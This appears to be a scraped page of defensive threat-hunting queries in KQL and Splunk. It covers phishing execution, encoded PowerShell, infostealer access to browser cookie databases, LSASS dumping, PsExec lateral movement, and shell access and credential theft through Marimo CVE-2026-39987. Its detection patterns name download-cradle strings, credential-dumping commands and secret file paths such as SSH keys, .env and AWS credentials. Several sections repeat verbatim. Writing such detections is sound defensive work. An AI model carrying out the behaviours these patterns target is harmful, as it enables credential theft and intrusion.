This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Inside the LLM | Understanding AI & the Mechanics of Modern AttacksInstallationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Inside the LLM | Understanding AI & the Mechanics of Modern Attacks
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FolderPath has_any ("C:\Windows\System32\powershell.exe"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\Windows\System32\powershell.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Inside the LLM | Understanding AI & the Mechanics of Modern Attacks ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_path="*C:\Windows\System32\powershell.exe*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*C:\Windows\System32\powershell.exe*")
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-01-134 use cases0 techniques3 kill-chain phases detected
Microsoft Windows Desktop Windows Manager contains an information disclosure vulnerability that allows an authorized attacker to disclose information locally. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-02-03.
CVEsCVE-2026-20805
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-20805")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-20805")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
